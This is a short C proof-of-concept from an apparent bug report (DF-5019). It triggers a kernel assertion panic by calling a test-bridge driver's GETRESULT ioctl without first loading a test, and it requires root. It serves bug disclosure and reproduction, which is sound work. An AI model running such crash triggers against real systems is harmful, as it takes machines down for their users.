DF-5019 / poc.c
/* * DF-5019 PoC — trigger TBRIDGE_GETRESULT with NO prior TBRIDGE_LOADTEST. * * Preconditions: * kldload tbridge (creates /dev/tbridge, 0600 root:wheel) * kldload mytcase.ko (registers a testcase: tbridge_curtest != NULL) * * tbridge_dev_ioctl(TBRIDGE_GETRESULT) never checks that a LOADTEST * happened; with a testcase registered it spawns the testrunner kthread * which calls tbridge_test_done() -> KKASSERT(tbridge_testcase != NULL) * (tbridge.c:196) -> kernel panic on any INVARIANTS kernel * (X86_64_GENERIC ships INVARIANTS). * * Run as root (the device node is 0600 root:wheel). */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <libprop/proplib.h> #define TBRIDGE_GETRESULT _IOR('T', 0xBC, struct plistref) int main(void) { struct plistref pr; int fd, r; memset(&pr, 0, sizeof(pr)); fd = open("/dev/tbridge", O_RDWR); if (fd < 0) { perror("open /dev/tbridge"); return (1); } /* NOTE: no TBRIDGE_LOADTEST issued first — this is the bug. */ r = ioctl(fd, TBRIDGE_GETRESULT, &pr); printf("GETRESULT returned %d, errno=%d (kernel survived: " "finding NOT reproduced)\n", r, errno); return (0); } |